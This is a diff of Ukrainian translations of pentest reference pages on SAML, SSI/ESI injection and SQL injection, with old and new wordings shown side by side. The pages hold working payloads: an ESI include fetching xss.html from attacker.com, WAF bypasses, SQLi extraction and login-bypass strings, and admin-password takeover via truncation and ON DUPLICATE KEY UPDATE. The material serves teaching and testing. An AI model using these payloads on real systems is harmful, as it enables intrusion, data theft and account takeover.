# Приклад запиту SAML # Приклад запиту SAML
Розгляньте сценарій, коли користувач запитує доступ до захищеного ресурсу за адресою [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). SP виявляє відсутність аутентифікації та генерує запит SAML: Розгляньте сценарій, коли користувач запитує доступ до захищеного ресурсу на [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). SP виявляє відсутність аутентифікації та генерує запит SAML:
``` ```
GET /secure/ HTTP/1.1 GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu Host: shibdemo-sp1.test.edu
... ...
``` ```
Сирий запит SAML виглядає так: Сирийний SAML запит виглядає так:
```xml ```xml
<?xml version="1.0"?> <?xml version="1.0"?>
<samlp:AuthnRequest ... <samlp:AuthnRequest ...
@ -49,31 +49,31 @@ Host: shibdemo-sp1.test.edu
- **ProtocolBinding**: Визначає метод передачі повідомлень протоколу SAML. - **ProtocolBinding**: Визначає метод передачі повідомлень протоколу SAML.
- **saml:Issuer**: Ідентифікує суб'єкт, який ініціював запит. - **saml:Issuer**: Ідентифікує суб'єкт, який ініціював запит.
Після генерації SAML Request, SP відповідає з **302 перенаправленням**, направляючи браузер до IdP з SAML Request, закодованим у заголовку **Location** HTTP-відповіді. Параметр **RelayState** підтримує інформацію про стан протягом транзакції, забезпечуючи, щоб SP розпізнав початковий запит ресурсу при отриманні SAML Response. Параметр **SAMLRequest** є стиснутою та закодованою версією сирцевого фрагмента XML, що використовує стиснення Deflate та кодування base64. Після генерації SAML Request, SP відповідає з **302 редиректом**, направляючи браузер до IdP з SAML Request, закодованим у заголовку **Location** HTTP-відповіді. Параметр **RelayState** підтримує інформацію про стан протягом транзакції, забезпечуючи, щоб SP розпізнав початковий запит ресурсу при отриманні SAML Response. Параметр **SAMLRequest** є стиснутою та закодованою версією сирцевого фрагмента XML, що використовує стиснення Deflate та кодування base64.
# Приклад SAML Response # Приклад SAML Response
Ви можете знайти [повний SAML response тут](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Ключові компоненти відповіді включають: Ви можете знайти [повний SAML response тут](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Ключові компоненти відповіді включають:
- **ds:Signature**: Цей розділ, XML Signature, забезпечує цілісність та автентичність видавця твердження. SAML response в прикладі містить два елементи `ds:Signature`, один для повідомлення та інший для твердження. - **ds:Signature**: Цей розділ, XML Signature, забезпечує цілісність та автентичність видавця асерції. SAML response в прикладі містить два елементи `ds:Signature`, один для повідомлення та інший для асерції.
- **saml:Assertion**: Ця частина містить інформацію про особу користувача та, можливо, інші атрибути. - **saml:Assertion**: Ця частина містить інформацію про особу користувача та, можливо, інші атрибути.
- **saml:Subject**: Вказує на основну особу всіх тверджень у твердженні. - **saml:Subject**: Вказує на основний суб'єкт усіх заяв у асерції.
- **saml:StatusCode**: Відображає статус операції у відповідь на відповідний запит. - **saml:StatusCode**: Відображає статус операції у відповідь на відповідний запит.
- **saml:Conditions**: Деталізує умови, такі як терміни дійсності твердження та вказаного постачальника послуг. - **saml:Conditions**: Деталізує умови, такі як терміни дійсності асерції та вказаний постачальник послуг.
- **saml:AuthnStatement**: Підтверджує, що IdP аутентифікував особу твердження. - **saml:AuthnStatement**: Підтверджує, що IdP аутентифікував суб'єкта асерції.
- **saml:AttributeStatement**: Містить атрибути, що описують особу твердження. - **saml:AttributeStatement**: Містить атрибути, що описують суб'єкта асерції.
Після SAML Response процес включає 302 перенаправлення від IdP. Це призводить до POST-запиту до URL-адреси Assertion Consumer Service (ACS) постачальника послуг. POST-запит включає параметри `RelayState` та `SAMLResponse`. ACS відповідає за обробку та валідацію SAML Response. Після SAML Response процес включає 302 редирект від IdP. Це призводить до POST-запиту до URL сервісу споживання асерцій (ACS) постачальника послуг. POST-запит включає параметри `RelayState` та `SAMLResponse`. ACS відповідає за обробку та валідацію SAML Response.
Після отримання POST-запиту та валідації SAML Response доступ надається до захищеного ресурсу, спочатку запитаного користувачем. Це ілюструється запитом `GET` до кінцевої точки `/secure/` та відповіддю `200 OK`, що вказує на успішний доступ до ресурсу. Після отримання POST-запиту та валідації SAML Response, доступ надається до захищеного ресурсу, спочатку запитаного користувачем. Це ілюструється запитом `GET` до кінцевої точки `/secure/` та відповіддю `200 OK`, що вказує на успішний доступ до ресурсу.
# XML Підписи # XML Підписи
XML Підписи є універсальними, здатними підписувати ціле XML-дерево або конкретні елементи в ньому. Вони можуть бути застосовані до будь-якого XML Об'єкта, а не лише до елементів Response. Нижче наведені ключові типи XML Підписів: XML підписи є універсальними, здатними підписувати ціле XML-дерево або конкретні елементи в ньому. Вони можуть бути застосовані до будь-якого XML-об'єкта, а не лише до елементів Response. Нижче наведені ключові типи XML підписів:
### Основна структура XML Підпису ### Основна структура XML підпису
XML Підпис складається з основних елементів, як показано: XML підпис складається з основних елементів, як показано:
```xml ```xml
<Signature> <Signature>
<SignedInfo> <SignedInfo>
@ -91,11 +91,11 @@ XML Підпис складається з основних елементів,
<Object /> <Object />
</Signature> </Signature>
``` ```
Кожен елемент `Reference` позначає конкретний ресурс, що підписується, який можна ідентифікувати за атрибутом URI. Кожен `Reference` елемент позначає конкретний ресурс, що підписується, який можна ідентифікувати за атрибутом URI.
### Типи XML-підписів ### Типи XML підписів
1. **Enveloped Signature**: Цей тип підпису є нащадком ресурсу, який він підписує, що означає, що підпис міститься в тій же XML-структурі, що й підписаний вміст. 1. **Enveloped Signature**: Цей тип підпису є нащадком ресурсу, який він підписує, що означає, що підпис міститься в тій же XML структурі, що й підписаний контент.
Приклад: Приклад:
@ -114,9 +114,9 @@ XML Підпис складається з основних елементів,
</samlp:Response> </samlp:Response>
``` ```
У підписі, що міститься в обгортці, елемент `ds:Transform` вказує, що він обгорнутий через алгоритм `enveloped-signature`. У enveloped signature елемент `ds:Transform` вказує, що він обгорнутий через алгоритм `enveloped-signature`.
2. **Enveloping Signature**: На відміну від підписів, що містяться в обгортці, підписи, що обгортають, обгортають ресурс, що підписується. 2. **Enveloping Signature**: На відміну від enveloped signatures, enveloping signatures обгортають ресурс, що підписується.
Приклад: Приклад:
@ -134,7 +134,7 @@ XML Підпис складається з основних елементів,
</ds:Signature> </ds:Signature>
``` ```
3. **Detached Signature**: Цей тип відокремлений від вмісту, який він підписує. Підпис і вміст існують незалежно, але між ними підтримується зв'язок. 3. **Detached Signature**: Цей тип відокремлений від контенту, який він підписує. Підпис і контент існують незалежно, але між ними підтримується зв'язок.
Приклад: Приклад:
@ -152,7 +152,7 @@ XML Підпис складається з основних елементів,
</ds:Signature> </ds:Signature>
``` ```
На завершення, XML-підписи забезпечують гнучкі способи захисту XML-документів, при цьому кожен тип відповідає різним структурним і безпековим потребам. На завершення, XML підписи забезпечують гнучкі способи захисту XML документів, кожен тип служить різним структурним і безпековим потребам.
## References ## References

View File

@ -4,20 +4,20 @@
## Основна інформація про включення на стороні сервера ## Основна інформація про включення на стороні сервера
**(Вступ взято з** [**документації Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** **(Вступ взятий з** [**документації Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) це директиви, які **розміщуються в HTML-сторінках і оцінюються на сервері** під час їх обслуговування. Вони дозволяють вам **додавати динамічно згенерований контент** до існуючої HTML-сторінки, не обслуговуючи всю сторінку через CGI-програму або іншу динамічну технологію.\ SSI (Server Side Includes) - це директиви, які **розміщуються в HTML-сторінках і оцінюються на сервері** під час їх обслуговування. Вони дозволяють вам **додавати динамічно згенерований контент** до існуючої HTML-сторінки, не обслуговуючи всю сторінку через CGI-програму або іншу динамічну технологію.\
Наприклад, ви можете вставити директиву в існуючу HTML-сторінку, таку як: Наприклад, ви можете вставити директиву в існуючу HTML-сторінку, таку як:
`<!--#echo var="DATE_LOCAL" -->` `<!--#echo var="DATE_LOCAL" -->`
І, коли сторінка обслуговується, цей фрагмент буде оцінений і замінений на його значення: І, коли сторінка обслуговується, цей фрагмент буде оцінений і замінений на його значення:
`Вівторок, 15-січ-2013 19:28:54 EST` `Tuesday, 15-Jan-2013 19:28:54 EST`
Рішення про те, коли використовувати SSI, а коли повністю генерувати вашу сторінку якоюсь програмою, зазвичай залежить від того, скільки з сторінки є статичним, а скільки потрібно перераховувати щоразу, коли сторінка обслуговується. SSI це чудовий спосіб додати невеликі шматочки інформації, такі як поточний час - показано вище. Але якщо більшість вашої сторінки генерується в момент її обслуговування, вам потрібно шукати інше рішення. Рішення про те, коли використовувати SSI, а коли повністю генерувати вашу сторінку якоюсь програмою, зазвичай залежить від того, скільки з сторінки є статичним, а скільки потрібно перераховувати щоразу, коли сторінка обслуговується. SSI - це чудовий спосіб додати невеликі шматочки інформації, такі як поточний час - показаний вище. Але якщо більшість вашої сторінки генерується в момент її обслуговування, вам потрібно шукати інше рішення.
Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширенням&#x73;**`.shtml`, `.shtm` або `.stm`**, але це не єдиний випадок. Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширенням&#x73;**`.shtml`, `.shtm` або `.stm`**, але це не є єдиним випадком.
Типовий вираз SSI має наступний формат: Типовий вираз SSI має наступний формат:
``` ```
@ -57,7 +57,7 @@ SSI (Server Side Includes) — це директиви, які **розміщу
## Edge Side Inclusion ## Edge Side Inclusion
Є проблема **кешування інформації або динамічних додатків**, оскільки частина контенту може **варіюватися** для наступного отримання контенту. Саме для цього використовується **ESI**, щоб вказати за допомогою тегів ESI **динамічний контент, який потрібно згенерувати** перед відправкою кешованої версії.\ Є проблема **кешування інформації або динамічних додатків**, оскільки частина контенту може **варіюватися** для наступного отримання контенту. Саме для цього використовується **ESI**, щоб вказати за допомогою тегів ESI **динамічний контент, який потрібно згенерувати** перед відправкою кешованої версії.\
Якщо **зловмисник** зможе **вставити тег ESI** всередину кешованого контенту, то він зможе **вставити довільний контент** у документ перед його відправкою користувачам. Якщо **зловмисник** зможе **впровадити тег ESI** всередину кешованого контенту, тоді він зможе **впровадити довільний контент** у документ перед його відправкою користувачам.
### ESI Detection ### ESI Detection
@ -66,7 +66,7 @@ SSI (Server Side Includes) — це директиви, які **розміщу
Surrogate-Control: content="ESI/1.0" Surrogate-Control: content="ESI/1.0"
``` ```
Якщо ви не можете знайти цей заголовок, сервер **може використовувати ESI в будь-якому випадку**.\ Якщо ви не можете знайти цей заголовок, сервер **може використовувати ESI в будь-якому випадку**.\
**Можна також використовувати підхід сліпої експлуатації**, оскільки запит має надійти на сервер атакуючого: **Можна також використовувати сліпий підхід до експлуатації**, оскільки запит має надійти на сервер атакуючого:
```javascript ```javascript
// Basic detection // Basic detection
hell<!--esi-->o hell<!--esi-->o
@ -94,21 +94,21 @@ hell<!--esi-->o
- **Includes**: Підтримує директиву `<esi:includes>` - **Includes**: Підтримує директиву `<esi:includes>`
- **Vars**: Підтримує директиву `<esi:vars>`. Корисно для обходу XSS фільтрів - **Vars**: Підтримує директиву `<esi:vars>`. Корисно для обходу XSS фільтрів
- **Cookie**: Документні куки доступні для ESI двигуна - **Cookie**: Документні куки доступні для ESI двигуна
- **Upstream Headers Required**: Сурогатні програми не оброблятимуть ESI інструкції, якщо upstream програма не надає заголовки - **Необхідні заголовки з верхнього рівня**: Сурогатні програми не оброблятимуть ESI інструкції, якщо програма з верхнього рівня не надає заголовки
- **Host Allowlist**: У цьому випадку ESI включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можливим лише проти цих хостів - **Список дозволених хостів**: У цьому випадку ESI включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можливим лише проти цих хостів
| **Програмне забезпечення** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** | | **Програмне забезпечення** | **Includes** | **Vars** | **Cookies** | **Необхідні заголовки з верхнього рівня** | **Список дозволених хостів** |
| :-----------------------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | | :-----------------------------------------: | :----------: | :------: | :---------: | :---------------------------------------: | :--------------------------: |
| Squid3 | Так | Так | Так | Так | Ні | | Squid3 | Так | Так | Так | Так | Ні |
| Varnish Cache | Так | Ні | Ні | Так | Так | | Varnish Cache | Так | Ні | Ні | Так | Так |
| Fastly | Так | Ні | Ні | Ні | Так | | Fastly | Так | Ні | Ні | Ні | Так |
| Akamai ESI Test Server (ETS) | Так | Так | Так | Ні | Ні | | Akamai ESI Test Server (ETS) | Так | Так | Так | Ні | Ні |
| NodeJS esi | Так | Так | Так | Ні | Ні | | NodeJS esi | Так | Так | Так | Ні | Ні |
| NodeJS nodesi | Так | Ні | Ні | Ні | Необов'язково | | NodeJS nodesi | Так | Ні | Ні | Ні | Необов'язково |
#### XSS #### XSS
Наступна ESI директива завантажить довільний файл всередині відповіді сервера Наступна директива ESI завантажить довільний файл всередині відповіді сервера
```xml ```xml
<esi:include src=http://attacker.com/xss.html> <esi:include src=http://attacker.com/xss.html>
``` ```
@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
<esi:request_header name="User-Agent" value="12345"/> <esi:request_header name="User-Agent" value="12345"/>
</esi:include> </esi:include>
``` ```
- Додайте заголовок у відповіді (корисно для обходу "Content-Type: text/json" у відповіді з XSS) - Додати заголовок у відповіді (корисно для обходу "Content-Type: text/json" у відповіді з XSS)
```bash ```bash
<!--esi/$add_header('Content-Type','text/html')/--> <!--esi/$add_header('Content-Type','text/html')/-->

View File

@ -9,7 +9,7 @@
## Виявлення точок входу ## Виявлення точок входу
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу **ефективного виходу з поточного контексту**. Ось кілька корисних прикладів: Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
``` ```
[Nothing] [Nothing]
' '
@ -54,9 +54,9 @@ HQL does not support comments
``` ```
### Підтвердження за допомогою логічних операцій ### Підтвердження за допомогою логічних операцій
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає однаковий вміст при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій. Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, що дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
Аналогічно, застосування **математичних операцій** є ефективним методом підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію. Аналогічно, застосування **математичних операцій** слугує ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
Приклади, що демонструють підтвердження логічної операції: Приклади, що демонструють підтвердження логічної операції:
``` ```
@ -129,9 +129,9 @@ SQLite
Також, якщо у вас є доступ до виходу запиту, ви можете **вивести версію бази даних**. Також, якщо у вас є доступ до виходу запиту, ви можете **вивести версію бази даних**.
> [!NOTE] > [!NOTE]
> У продовженні ми обговоримо різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад. > У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.
### Ідентифікація з PortSwigger ### Визначення з PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} {% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
@ -169,11 +169,11 @@ SQLite
1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked 1' UNION SELECT null,null,null-- - Worked
``` ```
_Ви повинні використовувати `null` значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._ _Вам слід використовувати `null` значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._
### Витягування імен бази даних, імен таблиць та імен стовпців ### Витягти імена баз даних, імена таблиць та імена стовпців
У наступних прикладах ми будемо отримувати ім'я всіх баз даних, ім'я таблиці бази даних, імена стовпців таблиці: У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці:
```sql ```sql
#Database names #Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -186,26 +186,26 @@ _Ви повинні використовувати `null` значення, о
``` ```
_Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова._ _Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова._
## Exploiting Hidden Union Based ## Використання прихованого об'єднання
Коли вихід запиту видимий, але ін'єкція на основі об'єднання здається недосяжною, це вказує на наявність **прихованої ін'єкції на основі об'єднання**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на ін'єкцію на основі об'єднання, потрібно визначити запит виконання на бекенді. Коли вихід запиту видимий, але об'єднаний ін'єкцію здається неможливим, це вказує на наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS. Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається запит об'єднання, що полегшує експлуатацію ново доступної ін'єкції на основі об'єднання. Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based ## Використання на основі помилок
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\ Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
Слідуючи подібному потоку, як у випадку експлуатації на основі об'єднання, ви можете змогти скинути базу даних. Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете вивантажити базу даних.
```sql ```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
``` ```
## Використання Сліпого SQLi ## Використання Сліпого SQLi
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\ У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинне** або **хибне** значення, оскільки на сторінці є різний вміст.\
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом: У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:
```sql ```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@ -224,7 +224,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
``` ```
## Складені запити ## Складені запити
Ви можете використовувати складені запити для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для ініціювання DNS-запиту, умовної помилки або затримки часу. Ви можете використовувати складені запити для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки часу.
**Oracle** не підтримує **складені запити.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE` **Oracle** не підтримує **складені запити.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE`
@ -282,9 +282,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
{% file src="../../images/sqli-hashbypass.txt" %} {% file src="../../images/sqli-hashbypass.txt" %}
### GBK Аутентифікація Обхід ### GBK Аутентифікація обхід
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_) Якщо ' екранізується, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
```sql ```sql
%A8%27 OR 1=1;-- 2 %A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2 %8C%A8%27 OR 1=1-- 2
@ -307,17 +307,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Modify password of existing object/user ### Modify password of existing object/user
Щоб це зробити, ви повинні спробувати **створити новий об'єкт, названий "майстер-об'єктом"** (ймовірно, **admin** у випадку користувачів), змінивши щось: Щоб це зробити, ви повинні спробувати **створити новий об'єкт з назвою "master object"** (ймовірно, **admin** у випадку користувачів), модифікуючи щось:
- Створіть користувача з ім'ям: **AdMIn** (великі та малі літери) - Створити користувача з ім'ям: **AdMIn** (великі та малі літери)
- Створіть користувача з ім'ям: **admin=** - Створити користувача з ім'ям: **admin=**
- **SQL Truncation Attack** (коли є якийсь **обмеження по довжині** в імені користувача або електронній пошті) --> Створіть користувача з ім'ям: **admin \[багато пробілів] a** - **SQL Truncation Attack** (коли є якийсь **обмеження по довжині** в імені користувача або електронній пошті) --> Створити користувача з ім'ям: **admin \[багато пробілів] a**
#### SQL Truncation Attack #### SQL Truncation Attack
Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 пробілів] a_" і будь-який пароль. Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 пробілів] a_" і будь-який пароль.
База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало). База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально допустимої кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало).
Більше інформації: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) Більше інформації: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -331,11 +331,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
``` ```
### ON DUPLICATE KEY UPDATE ### ON DUPLICATE KEY UPDATE
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора: Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
Example Payload Injection: Приклад Payload Injection:
Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль: Payload для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
```sql ```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
``` ```

View File

@ -25,7 +25,7 @@
```sql ```sql
1' UNION SELECT 1,2 FROM table WHERE ''=' 1' UNION SELECT 1,2 FROM table WHERE ''='
``` ```
### Stacked Queries ### Складені запити
Вони не підтримуються. Вони не підтримуються.
@ -37,18 +37,18 @@
``` ```
Так само, як і TOP, ви можете використовувати **`LAST`**, який отримає **рядки з кінця**. Так само, як і TOP, ви можете використовувати **`LAST`**, який отримає **рядки з кінця**.
## Запити UNION/Підзапити ## UNION Запити/Підзапити
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\ У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\ Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\
Тому вам потрібно знати **дійсну назву таблиці**. Отже, вам потрібно знати **дійсну назву таблиці**.
```sql ```sql
-1' UNION SELECT username,password from users%00 -1' UNION SELECT username,password from users%00
``` ```
### Chaining equals + Substring ### Chaining equals + Substring
> [!WARNING] > [!WARNING]
> Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці. > Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.
**MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати. **MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати.
@ -64,7 +64,7 @@ _Не соромтеся перевірити це в онлайн-плейгр
### Брутфорсинг імен таблиць ### Брутфорсинг імен таблиць
Використовуючи техніку ланцюгового рівності, ви також можете **брутфорсити імена таблиць** з чимось на кшталт: Використовуючи техніку зв'язування рівних, ви також можете **брутфорсити імена таблиць** з чимось на зразок:
```sql ```sql
'=(select+top+1+'lala'+from+<table_name>)=' '=(select+top+1+'lala'+from+<table_name>)='
``` ```
@ -79,7 +79,7 @@ _Не соромтеся перевірити це в онлайн-плейгр
### Брутфорсинг назв стовпців ### Брутфорсинг назв стовпців
Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговим рівнянням: Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговими рівностями з:
```sql ```sql
'=column_name=' '=column_name='
``` ```
@ -99,7 +99,7 @@ _Не соромтеся перевірити це в онлайн-плейгр
```sql ```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
``` ```
